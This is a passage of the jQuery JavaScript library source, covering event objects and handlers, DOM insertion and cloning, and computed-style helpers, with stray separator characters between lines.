if ( matchedHandlers.length ) {
|
|
handlerQueue.push( { elem: cur, handlers: matchedHandlers } );
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Add the remaining (directly-bound) handlers
|
|
cur = this;
|
|
if ( delegateCount < handlers.length ) {
|
|
handlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } );
|
|
}
|
|
|
|
return handlerQueue;
|
|
},
|
|
|
|
addProp: function( name, hook ) {
|
|
Object.defineProperty( jQuery.Event.prototype, name, {
|
|
enumerable: true,
|
|
configurable: true,
|
|
|
|
get: isFunction( hook ) ?
|
|
function() {
|
|
if ( this.originalEvent ) {
|
|
return hook( this.originalEvent );
|
|
}
|
|
} :
|
|
function() {
|
|
if ( this.originalEvent ) {
|
|
return this.originalEvent[ name ];
|
|
}
|
|
},
|
|
|
|
set: function( value ) {
|
|
Object.defineProperty( this, name, {
|
|
enumerable: true,
|
|
configurable: true,
|
|
writable: true,
|
|
value: value
|
|
} );
|
|
}
|
|
} );
|
|
},
|
|
|
|
fix: function( originalEvent ) {
|
|
return originalEvent[ jQuery.expando ] ?
|
|
originalEvent :
|
|
new jQuery.Event( originalEvent );
|
|
},
|
|
|
|
special: {
|
|
load: {
|
|
|
|
// Prevent triggered image.load events from bubbling to window.load
|
|
noBubble: true
|
|
},
|
|
focus: {
|
|
|
|
// Fire native event if possible so blur/focus sequence is correct
|
|
trigger: function() {
|
|
if ( this !== safeActiveElement() && this.focus ) {
|
|
this.focus();
|
|
return false;
|
|
}
|
|
},
|
|
delegateType: "focusin"
|
|
},
|
|
blur: {
|
|
trigger: function() {
|
|
if ( this === safeActiveElement() && this.blur ) {
|
|
this.blur();
|
|
return false;
|
|
}
|
|
},
|
|
delegateType: "focusout"
|
|
},
|
|
click: {
|
|
|
|
// For checkbox, fire native event so checked state will be right
|
|
trigger: function() {
|
|
if ( this.type === "checkbox" && this.click && nodeName( this, "input" ) ) {
|
|
this.click();
|
|
return false;
|
|
}
|
|
},
|
|
|
|
// For cross-browser consistency, don't fire native .click() on links
|
|
_default: function( event ) {
|
|
return nodeName( event.target, "a" );
|
|
}
|
|
},
|
|
|
|
beforeunload: {
|
|
postDispatch: function( event ) {
|
|
|
|
// Support: Firefox 20+
|
|
// Firefox doesn't alert if the returnValue field is not set.
|
|
if ( event.result !== undefined && event.originalEvent ) {
|
|
event.originalEvent.returnValue = event.result;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
};
|
|
|
|
jQuery.removeEvent = function( elem, type, handle ) {
|
|
|
|
// This "if" is needed for plain objects
|
|
if ( elem.removeEventListener ) {
|
|
elem.removeEventListener( type, handle );
|
|
}
|
|
};
|
|
|
|
jQuery.Event = function( src, props ) {
|
|
|
|
// Allow instantiation without the 'new' keyword
|
|
if ( !( this instanceof jQuery.Event ) ) {
|
|
return new jQuery.Event( src, props );
|
|
}
|
|
|
|
// Event object
|
|
if ( src && src.type ) {
|
|
this.originalEvent = src;
|
|
this.type = src.type;
|
|
|
|
// Events bubbling up the document may have been marked as prevented
|
|
// by a handler lower down the tree; reflect the correct value.
|
|
this.isDefaultPrevented = src.defaultPrevented ||
|
|
src.defaultPrevented === undefined &&
|
|
|
|
// Support: Android <=2.3 only
|
|
src.returnValue === false ?
|
|
returnTrue :
|
|
returnFalse;
|
|
|
|
// Create target properties
|
|
// Support: Safari <=6 - 7 only
|
|
// Target should not be a text node (#504, #13143)
|
|
this.target = ( src.target && src.target.nodeType === 3 ) ?
|
|
src.target.parentNode :
|
|
src.target;
|
|
|
|
this.currentTarget = src.currentTarget;
|
|
this.relatedTarget = src.relatedTarget;
|
|
|
|
// Event type
|
|
} else {
|
|
this.type = src;
|
|
}
|
|
|
|
// Put explicitly provided properties onto the event object
|
|
if ( props ) {
|
|
jQuery.extend( this, props );
|
|
}
|
|
|
|
// Create a timestamp if incoming event doesn't have one
|
|
this.timeStamp = src && src.timeStamp || Date.now();
|
|
|
|
// Mark it as fixed
|
|
this[ jQuery.expando ] = true;
|
|
};
|
|
|
|
// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
|
|
// https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
|
|
jQuery.Event.prototype = {
|
|
constructor: jQuery.Event,
|
|
isDefaultPrevented: returnFalse,
|
|
isPropagationStopped: returnFalse,
|
|
isImmediatePropagationStopped: returnFalse,
|
|
isSimulated: false,
|
|
|
|
preventDefault: function() {
|
|
var e = this.originalEvent;
|
|
|
|
this.isDefaultPrevented = returnTrue;
|
|
|
|
if ( e && !this.isSimulated ) {
|
|
e.preventDefault();
|
|
}
|
|
},
|
|
stopPropagation: function() {
|
|
var e = this.originalEvent;
|
|
|
|
this.isPropagationStopped = returnTrue;
|
|
|
|
if ( e && !this.isSimulated ) {
|
|
e.stopPropagation();
|
|
}
|
|
},
|
|
stopImmediatePropagation: function() {
|
|
var e = this.originalEvent;
|
|
|
|
this.isImmediatePropagationStopped = returnTrue;
|
|
|
|
if ( e && !this.isSimulated ) {
|
|
e.stopImmediatePropagation();
|
|
}
|
|
|
|
this.stopPropagation();
|
|
}
|
|
};
|
|
|
|
// Includes all common event props including KeyEvent and MouseEvent specific props
|
|
jQuery.each( {
|
|
altKey: true,
|
|
bubbles: true,
|
|
cancelable: true,
|
|
changedTouches: true,
|
|
ctrlKey: true,
|
|
detail: true,
|
|
eventPhase: true,
|
|
metaKey: true,
|
|
pageX: true,
|
|
pageY: true,
|
|
shiftKey: true,
|
|
view: true,
|
|
"char": true,
|
|
charCode: true,
|
|
key: true,
|
|
keyCode: true,
|
|
button: true,
|
|
buttons: true,
|
|
clientX: true,
|
|
clientY: true,
|
|
offsetX: true,
|
|
offsetY: true,
|
|
pointerId: true,
|
|
pointerType: true,
|
|
screenX: true,
|
|
screenY: true,
|
|
targetTouches: true,
|
|
toElement: true,
|
|
touches: true,
|
|
|
|
which: function( event ) {
|
|
var button = event.button;
|
|
|
|
// Add which for key events
|
|
if ( event.which == null && rkeyEvent.test( event.type ) ) {
|
|
return event.charCode != null ? event.charCode : event.keyCode;
|
|
}
|
|
|
|
// Add which for click: 1 === left; 2 === middle; 3 === right
|
|
if ( !event.which && button !== undefined && rmouseEvent.test( event.type ) ) {
|
|
if ( button & 1 ) {
|
|
return 1;
|
|
}
|
|
|
|
if ( button & 2 ) {
|
|
return 3;
|
|
}
|
|
|
|
if ( button & 4 ) {
|
|
return 2;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
return event.which;
|
|
}
|
|
}, jQuery.event.addProp );
|
|
|
|
// Create mouseenter/leave events using mouseover/out and event-time checks
|
|
// so that event delegation works in jQuery.
|
|
// Do the same for pointerenter/pointerleave and pointerover/pointerout
|
|
//
|
|
// Support: Safari 7 only
|
|
// Safari sends mouseenter too often; see:
|
|
// https://bugs.chromium.org/p/chromium/issues/detail?id=470258
|
|
// for the description of the bug (it existed in older Chrome versions as well).
|
|
jQuery.each( {
|
|
mouseenter: "mouseover",
|
|
mouseleave: "mouseout",
|
|
pointerenter: "pointerover",
|
|
pointerleave: "pointerout"
|
|
}, function( orig, fix ) {
|
|
jQuery.event.special[ orig ] = {
|
|
delegateType: fix,
|
|
bindType: fix,
|
|
|
|
handle: function( event ) {
|
|
var ret,
|
|
target = this,
|
|
related = event.relatedTarget,
|
|
handleObj = event.handleObj;
|
|
|
|
// For mouseenter/leave call the handler if related is outside the target.
|
|
// NB: No relatedTarget if the mouse left/entered the browser window
|
|
if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) {
|
|
event.type = handleObj.origType;
|
|
ret = handleObj.handler.apply( this, arguments );
|
|
event.type = fix;
|
|
}
|
|
return ret;
|
|
}
|
|
};
|
|
} );
|
|
|
|
jQuery.fn.extend( {
|
|
|
|
on: function( types, selector, data, fn ) {
|
|
return on( this, types, selector, data, fn );
|
|
},
|
|
one: function( types, selector, data, fn ) {
|
|
return on( this, types, selector, data, fn, 1 );
|
|
},
|
|
off: function( types, selector, fn ) {
|
|
var handleObj, type;
|
|
if ( types && types.preventDefault && types.handleObj ) {
|
|
|
|
// ( event ) dispatched jQuery.Event
|
|
handleObj = types.handleObj;
|
|
jQuery( types.delegateTarget ).off(
|
|
handleObj.namespace ?
|
|
handleObj.origType + "." + handleObj.namespace :
|
|
handleObj.origType,
|
|
handleObj.selector,
|
|
handleObj.handler
|
|
);
|
|
return this;
|
|
}
|
|
if ( typeof types === "object" ) {
|
|
|
|
// ( types-object [, selector] )
|
|
for ( type in types ) {
|
|
this.off( type, selector, types[ type ] );
|
|
}
|
|
return this;
|
|
}
|
|
if ( selector === false || typeof selector === "function" ) {
|
|
|
|
// ( types [, fn] )
|
|
fn = selector;
|
|
selector = undefined;
|
|
}
|
|
if ( fn === false ) {
|
|
fn = returnFalse;
|
|
}
|
|
return this.each( function() {
|
|
jQuery.event.remove( this, types, fn, selector );
|
|
} );
|
|
}
|
|
} );
|
|
|
|
|
|
var
|
|
|
|
/* eslint-disable max-len */
|
|
|
|
// See https://github.com/eslint/eslint/issues/3229
|
|
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,
|
|
|
|
/* eslint-enable */
|
|
|
|
// Support: IE <=10 - 11, Edge 12 - 13 only
|
|
// In IE/Edge using regex groups here causes severe slowdowns.
|
|
// See https://connect.microsoft.com/IE/feedback/details/1736512/
|
|
rnoInnerhtml = /<script|<style|<link/i,
|
|
|
|
// checked="checked" or checked
|
|
rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
|
|
rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;
|
|
|
|
// Prefer a tbody over its parent table for containing new rows
|
|
function manipulationTarget( elem, content ) {
|
|
if ( nodeName( elem, "table" ) &&
|
|
nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ) {
|
|
|
|
return jQuery( elem ).children( "tbody" )[ 0 ] || elem;
|
|
}
|
|
|
|
return elem;
|
|
}
|
|
|
|
// Replace/restore the type attribute of script elements for safe DOM manipulation
|
|
function disableScript( elem ) {
|
|
elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type;
|
|
return elem;
|
|
}
|
|
function restoreScript( elem ) {
|
|
if ( ( elem.type || "" ).slice( 0, 5 ) === "true/" ) {
|
|
elem.type = elem.type.slice( 5 );
|
|
} else {
|
|
elem.removeAttribute( "type" );
|
|
}
|
|
|
|
return elem;
|
|
}
|
|
|
|
function cloneCopyEvent( src, dest ) {
|
|
var i, l, type, pdataOld, pdataCur, udataOld, udataCur, events;
|
|
|
|
if ( dest.nodeType !== 1 ) {
|
|
return;
|
|
}
|
|
|
|
// 1. Copy private data: events, handlers, etc.
|
|
if ( dataPriv.hasData( src ) ) {
|
|
pdataOld = dataPriv.access( src );
|
|
pdataCur = dataPriv.set( dest, pdataOld );
|
|
events = pdataOld.events;
|
|
|
|
if ( events ) {
|
|
delete pdataCur.handle;
|
|
pdataCur.events = {};
|
|
|
|
for ( type in events ) {
|
|
for ( i = 0, l = events[ type ].length; i < l; i++ ) {
|
|
jQuery.event.add( dest, type, events[ type ][ i ] );
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// 2. Copy user data
|
|
if ( dataUser.hasData( src ) ) {
|
|
udataOld = dataUser.access( src );
|
|
udataCur = jQuery.extend( {}, udataOld );
|
|
|
|
dataUser.set( dest, udataCur );
|
|
}
|
|
}
|
|
|
|
// Fix IE bugs, see support tests
|
|
function fixInput( src, dest ) {
|
|
var nodeName = dest.nodeName.toLowerCase();
|
|
|
|
// Fails to persist the checked state of a cloned checkbox or radio button.
|
|
if ( nodeName === "input" && rcheckableType.test( src.type ) ) {
|
|
dest.checked = src.checked;
|
|
|
|
// Fails to return the selected option to the default selected state when cloning options
|
|
} else if ( nodeName === "input" || nodeName === "textarea" ) {
|
|
dest.defaultValue = src.defaultValue;
|
|
}
|
|
}
|
|
|
|
function domManip( collection, args, callback, ignored ) {
|
|
|
|
// Flatten any nested arrays
|
|
args = concat.apply( [], args );
|
|
|
|
var fragment, first, scripts, hasScripts, node, doc,
|
|
i = 0,
|
|
l = collection.length,
|
|
iNoClone = l - 1,
|
|
value = args[ 0 ],
|
|
valueIsFunction = isFunction( value );
|
|
|
|
// We can't cloneNode fragments that contain checked, in WebKit
|
|
if ( valueIsFunction ||
|
|
( l > 1 && typeof value === "string" &&
|
|
!support.checkClone && rchecked.test( value ) ) ) {
|
|
return collection.each( function( index ) {
|
|
var self = collection.eq( index );
|
|
if ( valueIsFunction ) {
|
|
args[ 0 ] = value.call( this, index, self.html() );
|
|
}
|
|
domManip( self, args, callback, ignored );
|
|
} );
|
|
}
|
|
|
|
if ( l ) {
|
|
fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored );
|
|
first = fragment.firstChild;
|
|
|
|
if ( fragment.childNodes.length === 1 ) {
|
|
fragment = first;
|
|
}
|
|
|
|
// Require either new content or an interest in ignored elements to invoke the callback
|
|
if ( first || ignored ) {
|
|
scripts = jQuery.map( getAll( fragment, "script" ), disableScript );
|
|
hasScripts = scripts.length;
|
|
|
|
// Use the original fragment for the last item
|
|
// instead of the first because it can end up
|
|
// being emptied incorrectly in certain situations (#8070).
|
|
for ( ; i < l; i++ ) {
|
|
node = fragment;
|
|
|
|
if ( i !== iNoClone ) {
|
|
node = jQuery.clone( node, true, true );
|
|
|
|
// Keep references to cloned scripts for later restoration
|
|
if ( hasScripts ) {
|
|
|
|
// Support: Android <=4.0 only, PhantomJS 1 only
|
|
// push.apply(_, arraylike) throws on ancient WebKit
|
|
jQuery.merge( scripts, getAll( node, "script" ) );
|
|
}
|
|
}
|
|
|
|
callback.call( collection[ i ], node, i );
|
|
}
|
|
|
|
if ( hasScripts ) {
|
|
doc = scripts[ scripts.length - 1 ].ownerDocument;
|
|
|
|
// Reenable scripts
|
|
jQuery.map( scripts, restoreScript );
|
|
|
|
// Evaluate executable scripts on first document insertion
|
|
for ( i = 0; i < hasScripts; i++ ) {
|
|
node = scripts[ i ];
|
|
if ( rscriptType.test( node.type || "" ) &&
|
|
!dataPriv.access( node, "globalEval" ) &&
|
|
jQuery.contains( doc, node ) ) {
|
|
|
|
if ( node.src && ( node.type || "" ).toLowerCase() !== "module" ) {
|
|
|
|
// Optional AJAX dependency, but won't run scripts if not present
|
|
if ( jQuery._evalUrl ) {
|
|
jQuery._evalUrl( node.src );
|
|
}
|
|
} else {
|
|
DOMEval( node.textContent.replace( rcleanScript, "" ), doc, node );
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return collection;
|
|
}
|
|
|
|
function remove( elem, selector, keepData ) {
|
|
var node,
|
|
nodes = selector ? jQuery.filter( selector, elem ) : elem,
|
|
i = 0;
|
|
|
|
for ( ; ( node = nodes[ i ] ) != null; i++ ) {
|
|
if ( !keepData && node.nodeType === 1 ) {
|
|
jQuery.cleanData( getAll( node ) );
|
|
}
|
|
|
|
if ( node.parentNode ) {
|
|
if ( keepData && jQuery.contains( node.ownerDocument, node ) ) {
|
|
setGlobalEval( getAll( node, "script" ) );
|
|
}
|
|
node.parentNode.removeChild( node );
|
|
}
|
|
}
|
|
|
|
return elem;
|
|
}
|
|
|
|
jQuery.extend( {
|
|
htmlPrefilter: function( html ) {
|
|
return html.replace( rxhtmlTag, "<$1></$2>" );
|
|
},
|
|
|
|
clone: function( elem, dataAndEvents, deepDataAndEvents ) {
|
|
var i, l, srcElements, destElements,
|
|
clone = elem.cloneNode( true ),
|
|
inPage = jQuery.contains( elem.ownerDocument, elem );
|
|
|
|
// Fix IE cloning issues
|
|
if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) &&
|
|
!jQuery.isXMLDoc( elem ) ) {
|
|
|
|
// We eschew Sizzle here for performance reasons: https://jsperf.com/getall-vs-sizzle/2
|
|
destElements = getAll( clone );
|
|
srcElements = getAll( elem );
|
|
|
|
for ( i = 0, l = srcElements.length; i < l; i++ ) {
|
|
fixInput( srcElements[ i ], destElements[ i ] );
|
|
}
|
|
}
|
|
|
|
// Copy the events from the original to the clone
|
|
if ( dataAndEvents ) {
|
|
if ( deepDataAndEvents ) {
|
|
srcElements = srcElements || getAll( elem );
|
|
destElements = destElements || getAll( clone );
|
|
|
|
for ( i = 0, l = srcElements.length; i < l; i++ ) {
|
|
cloneCopyEvent( srcElements[ i ], destElements[ i ] );
|
|
}
|
|
} else {
|
|
cloneCopyEvent( elem, clone );
|
|
}
|
|
}
|
|
|
|
// Preserve script evaluation history
|
|
destElements = getAll( clone, "script" );
|
|
if ( destElements.length > 0 ) {
|
|
setGlobalEval( destElements, !inPage && getAll( elem, "script" ) );
|
|
}
|
|
|
|
// Return the cloned set
|
|
return clone;
|
|
},
|
|
|
|
cleanData: function( elems ) {
|
|
var data, elem, type,
|
|
special = jQuery.event.special,
|
|
i = 0;
|
|
|
|
for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) {
|
|
if ( acceptData( elem ) ) {
|
|
if ( ( data = elem[ dataPriv.expando ] ) ) {
|
|
if ( data.events ) {
|
|
for ( type in data.events ) {
|
|
if ( special[ type ] ) {
|
|
jQuery.event.remove( elem, type );
|
|
|
|
// This is a shortcut to avoid jQuery.event.remove's overhead
|
|
} else {
|
|
jQuery.removeEvent( elem, type, data.handle );
|
|
}
|
|
}
|
|
}
|
|
|
|
// Support: Chrome <=35 - 45+
|
|
// Assign undefined instead of using delete, see Data#remove
|
|
elem[ dataPriv.expando ] = undefined;
|
|
}
|
|
if ( elem[ dataUser.expando ] ) {
|
|
|
|
// Support: Chrome <=35 - 45+
|
|
// Assign undefined instead of using delete, see Data#remove
|
|
elem[ dataUser.expando ] = undefined;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
} );
|
|
|
|
jQuery.fn.extend( {
|
|
detach: function( selector ) {
|
|
return remove( this, selector, true );
|
|
},
|
|
|
|
remove: function( selector ) {
|
|
return remove( this, selector );
|
|
},
|
|
|
|
text: function( value ) {
|
|
return access( this, function( value ) {
|
|
return value === undefined ?
|
|
jQuery.text( this ) :
|
|
this.empty().each( function() {
|
|
if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
|
|
this.textContent = value;
|
|
}
|
|
} );
|
|
}, null, value, arguments.length );
|
|
},
|
|
|
|
append: function() {
|
|
return domManip( this, arguments, function( elem ) {
|
|
if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
|
|
var target = manipulationTarget( this, elem );
|
|
target.appendChild( elem );
|
|
}
|
|
} );
|
|
},
|
|
|
|
prepend: function() {
|
|
return domManip( this, arguments, function( elem ) {
|
|
if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
|
|
var target = manipulationTarget( this, elem );
|
|
target.insertBefore( elem, target.firstChild );
|
|
}
|
|
} );
|
|
},
|
|
|
|
before: function() {
|
|
return domManip( this, arguments, function( elem ) {
|
|
if ( this.parentNode ) {
|
|
this.parentNode.insertBefore( elem, this );
|
|
}
|
|
} );
|
|
},
|
|
|
|
after: function() {
|
|
return domManip( this, arguments, function( elem ) {
|
|
if ( this.parentNode ) {
|
|
this.parentNode.insertBefore( elem, this.nextSibling );
|
|
}
|
|
} );
|
|
},
|
|
|
|
empty: function() {
|
|
var elem,
|
|
i = 0;
|
|
|
|
for ( ; ( elem = this[ i ] ) != null; i++ ) {
|
|
if ( elem.nodeType === 1 ) {
|
|
|
|
// Prevent memory leaks
|
|
jQuery.cleanData( getAll( elem, false ) );
|
|
|
|
// Remove any remaining nodes
|
|
elem.textContent = "";
|
|
}
|
|
}
|
|
|
|
return this;
|
|
},
|
|
|
|
clone: function( dataAndEvents, deepDataAndEvents ) {
|
|
dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
|
|
deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
|
|
|
|
return this.map( function() {
|
|
return jQuery.clone( this, dataAndEvents, deepDataAndEvents );
|
|
} );
|
|
},
|
|
|
|
html: function( value ) {
|
|
return access( this, function( value ) {
|
|
var elem = this[ 0 ] || {},
|
|
i = 0,
|
|
l = this.length;
|
|
|
|
if ( value === undefined && elem.nodeType === 1 ) {
|
|
return elem.innerHTML;
|
|
}
|
|
|
|
// See if we can take a shortcut and just use innerHTML
|
|
if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
|
|
!wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) {
|
|
|
|
value = jQuery.htmlPrefilter( value );
|
|
|
|
try {
|
|
for ( ; i < l; i++ ) {
|
|
elem = this[ i ] || {};
|
|
|
|
// Remove element nodes and prevent memory leaks
|
|
if ( elem.nodeType === 1 ) {
|
|
jQuery.cleanData( getAll( elem, false ) );
|
|
elem.innerHTML = value;
|
|
}
|
|
}
|
|
|
|
elem = 0;
|
|
|
|
// If using innerHTML throws an exception, use the fallback method
|
|
} catch ( e ) {}
|
|
}
|
|
|
|
if ( elem ) {
|
|
this.empty().append( value );
|
|
}
|
|
}, null, value, arguments.length );
|
|
},
|
|
|
|
replaceWith: function() {
|
|
var ignored = [];
|
|
|
|
// Make the changes, replacing each non-ignored context element with the new content
|
|
return domManip( this, arguments, function( elem ) {
|
|
var parent = this.parentNode;
|
|
|
|
if ( jQuery.inArray( this, ignored ) < 0 ) {
|
|
jQuery.cleanData( getAll( this ) );
|
|
if ( parent ) {
|
|
parent.replaceChild( elem, this );
|
|
}
|
|
}
|
|
|
|
// Force callback invocation
|
|
}, ignored );
|
|
}
|
|
} );
|
|
|
|
jQuery.each( {
|
|
appendTo: "append",
|
|
prependTo: "prepend",
|
|
insertBefore: "before",
|
|
insertAfter: "after",
|
|
replaceAll: "replaceWith"
|
|
}, function( name, original ) {
|
|
jQuery.fn[ name ] = function( selector ) {
|
|
var elems,
|
|
ret = [],
|
|
insert = jQuery( selector ),
|
|
last = insert.length - 1,
|
|
i = 0;
|
|
|
|
for ( ; i <= last; i++ ) {
|
|
elems = i === last ? this : this.clone( true );
|
|
jQuery( insert[ i ] )[ original ]( elems );
|
|
|
|
// Support: Android <=4.0 only, PhantomJS 1 only
|
|
// .get() because push.apply(_, arraylike) throws on ancient WebKit
|
|
push.apply( ret, elems.get() );
|
|
}
|
|
|
|
return this.pushStack( ret );
|
|
};
|
|
} );
|
|
var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );
|
|
|
|
var getStyles = function( elem ) {
|
|
|
|
// Support: IE <=11 only, Firefox <=30 (#15098, #14150)
|
|
// IE throws on elements created in popups
|
|
// FF meanwhile throws on frame elements through "defaultView.getComputedStyle"
|
|
var view = elem.ownerDocument.defaultView;
|
|
|
|
if ( !view || !view.opener ) {
|
|
view = window;
|
|
}
|
|
|
|
return view.getComputedStyle( elem );
|
|
};
|
|
|
|
var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" );
|
|
|
|
|
|
|
|
( function() {
|
|
|
|
// Executing both pixelPosition & boxSizingReliable tests require only one layout
|
|
// so they're executed at the same time to save the second computation.
|
|
function computeStyleTests() {
|
|
|
|
// This is a singleton, we need to execute it only once
|
|
if ( !div ) {
|
|
return;
|
|
}
|
|
|
|
container.style.cssText = "position:absolute;left:-11111px;width:60px;" +
|
|
"margin-top:1px;padding:0;border:0";
|
|
div.style.cssText =
|
|
"position:relative;display:block;box-sizing:border-box;overflow:scroll;" +
|
|
"margin:auto;border:1px;padding:1px;" +
|
|
"width:60%;top:1%";
|
|
documentElement.appendChild( container ).appendChild( div );
|
|
|
|
var divStyle = window.getComputedStyle( div );
|
|
pixelPositionVal = divStyle.top !== "1%";
|
|
|
|
// Support: Android 4.0 - 4.3 only, Firefox <=3 - 44
|
|
reliableMarginLeftVal = roundPixelMeasures( divStyle.marginLeft ) === 12;
|
|
|
|
// Support: Android 4.0 - 4.3 only, Safari <=9.1 - 10.1, iOS <=7.0 - 9.3
|
|
// Some styles come back with percentage values, even though they shouldn't
|
|
div.style.right = "60%";
|
|
pixelBoxStylesVal = roundPixelMeasures( divStyle.right ) === 36;
|
|
|
|
// Support: IE 9 - 11 only
|
|
// Detect misreporting of content dimensions for box-sizing:border-box elements
|
|
boxSizingReliableVal = roundPixelMeasures( divStyle.width ) === 36;
|
|
|
|
// Support: IE 9 only
|
|
// Detect overflow:scroll screwiness (gh-3699)
|
|
div.style.position = "absolute";
|
|
scrollboxSizeVal = div.offsetWidth === 36 || "absolute";
|
|
|
|
documentElement.removeChild( container );
|
|
|
|
// Nullify the div so it wouldn't be stored in the memory and
|
|
// it will also be a sign that checks already performed
|
|
div = null;
|
|
}
|
|
|
|
function roundPixelMeasures( measure ) {
|
|
return Math.round( parseFloat( measure ) );
|
|
}
|
|
|
|
var pixelPositionVal, boxSizingReliableVal, scrollboxSizeVal, pixelBoxStylesVal,
|
|
reliableMarginLeftVal,
|
|
container = document.createElement( "div" ),
|
|
div = document.createElement( "div" );
|
|
|
|
// Finish early in limited (non-browser) environments
|
|
if ( !div.style ) {
|
|
return;
|
|
}
|
|
|
|
// Support: IE <=9 - 11 only
|
|
// Style of cloned element affects source element cloned (#8908)
|
|
div.style.backgroundClip = "content-box";
|
|
div.cloneNode( true ).style.backgroundClip = "";
|
|
support.clearCloneStyle = div.style.backgroundClip === "content-box";
|
|
|
|
jQuery.extend( support, {
|
|
boxSizingReliable: function() {
|
|
computeStyleTests();
|
|
return boxSizingReliableVal;
|
|
},
|
|
pixelBoxStyles: function() {
|
|
computeStyleTests();
|
|
return pixelBoxStylesVal;
|
|
},
|
|
pixelPosition: function() {
|
|
computeStyleTests();
|
|
return pixelPositionVal;
|
|
},
|
|
reliableMarginLeft: function() {
|
|
computeStyleTests();
|
|
return reliableMarginLeftVal;
|
|
},
|
|
scrollboxSize: function() {
|
|
computeStyleTests();
|
|
return scrollboxSizeVal;
|
|
}
|
|
} );
|
|
} )();
|
|
|
|
|
|
function curCSS( elem, name, computed ) {
|
|
var width, minWidth, maxWidth, ret,
|
|
|
|
// Support: Firefox 51+
|
|
// Retrieving style before computed somehow
|
|
// fixes an issue with getting wrong values
|
|
// on detached elements
|
|
style = elem.style;
|
|
|
|
computed = computed || getStyles( elem );
|
|
|
|
// getPropertyValue is needed for:
|
|
// .css('filter') (IE 9 only, #12537)
|
|
// .css('--customProperty) (#3144)
|
|
if ( computed ) {
|
|
ret = computed.getPropertyValue( name ) || computed[ name ];
|
|
|
|
if ( ret === "" && !jQuery.contains( elem.ownerDocument, elem ) ) {
|
|
ret = jQuery.style( elem, name );
|
|
}
|
|
|
|
// A tribute to the "awesome hack by Dean Edwards"
|
|
// Android Browser returns percentage for some values,
|
|
// but width seems to be reliably pixels.
|
|
// This is against the CSSOM draft spec:
|
|
// https://drafts.csswg.org/cssom/#resolved-values
|
|
if ( !support.pixelBoxStyles() && rnumnonpx.test( ret ) && rboxStyle.test( name ) ) {
|
|
|
|
// Remember the original values
|
|
width = style.width;
|
|
minWidth = style.minWidth;
|
|
maxWidth = style.maxWidth;
|
|
|
|
// Put in the new values to get a computed value out
|
|
style.minWidth = style.maxWidth = style.width = ret;
|
|
ret = computed.width;
|
|
|
|
// Revert the changed values
|
|
style.width = width;
|
|
style.minWidth = minWidth;
|
|
style.maxWidth = maxWidth;
|
|
}
|
|
}
|
|
|
|
return ret !== undefined ?
|
|
|
|
// Support: IE <=9 - 11 only
|
|
// IE returns zIndex value as an integer.
|
|
ret + "" :
|
|
ret;
|
|
}
|
|
|
|
|
|
function addGetHookIf( conditionFn, hookFn ) {
|
|
|
|
// Define the hook, we'll check on the first run if it's really needed.
|
|
return {
|
|
get: function() {
|
|
if ( conditionFn() ) {
|
|
|
|
// Hook not needed (or it's not possible to use it due
|
|
// to missing dependency), remove it.
|
|
delete this.get;
|
|
return;
|
|
}
|
|
|
|
// Hook needed; redefine it so that the support test is not executed again.
|
|
return ( this.get = hookFn ).apply( this, arguments );
|
|
}
|
|
};
|
|
}
|
|
|
|
|
|
var
|
|
|
|
// Swappable if display is none or starts with table
|
|
// except "table", "table-cell", or "table-caption"
|
|
// See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display
|
|
rdisplayswap = /^(none|table(?!-c[ea]).+)/,
|
|
rcustomProp = /^--/,
|
|
cssShow = { position: "absolute", visibility: "hidden", display: "block" },
|
|
cssNormalTransform = {
|
|
letterSpacing: "0",
|
|
fontWeight: "400"
|
|
},
|
|
|
|
cssPrefixes = [ "Webkit", "Moz", "ms" ],
|
|
emptyStyle = document.createElement( "div" ).style;
|
|
|
|
// Return a css property mapped to a potentially vendor prefixed property
|
|
function vendorPropName( name ) {
|
|
|
|
// Shortcut for names that are not vendor prefixed
|
|
if ( name in emptyStyle ) {
|
|
return name;
|
|
}
|
|
|
|
// Check for vendor prefixed names
|
|
var capName = name[ 0 ].toUpperCase() + name.slice( 1 ),
|
|
i = cssPrefixes.length;
|
|
|
|
while ( i-- ) {
|
|
name = cssPrefixes[ i ] + capName;
|
|
if ( name in emptyStyle ) {
|
|
return name;
|
|
}
|
|
}
|
|
}
|
|
|
|
// Return a property mapped along what jQuery.cssProps suggests or to
|
|
// a vendor prefixed property.
|
|
function finalPropName( name ) {
|
|
var ret = jQuery.cssProps[ name ];
|
|
if ( !ret ) {
|
|
ret = jQuery.cssProps[ name ] = vendorPropName( name ) || name;
|
|
}
|
|
return ret;
|
|
}
|
|
|
|
function setPositiveNumber( elem, value, subtract ) {
|
|
|
|
// Any relative (+/-) values have already been
|
|
// normalized at this point
|
|
var matches = rcssNum.exec( value );
|
|
return matches ?
|
|
|
|
// Guard against undefined "subtract", e.g., when used as in cssHooks
|
|
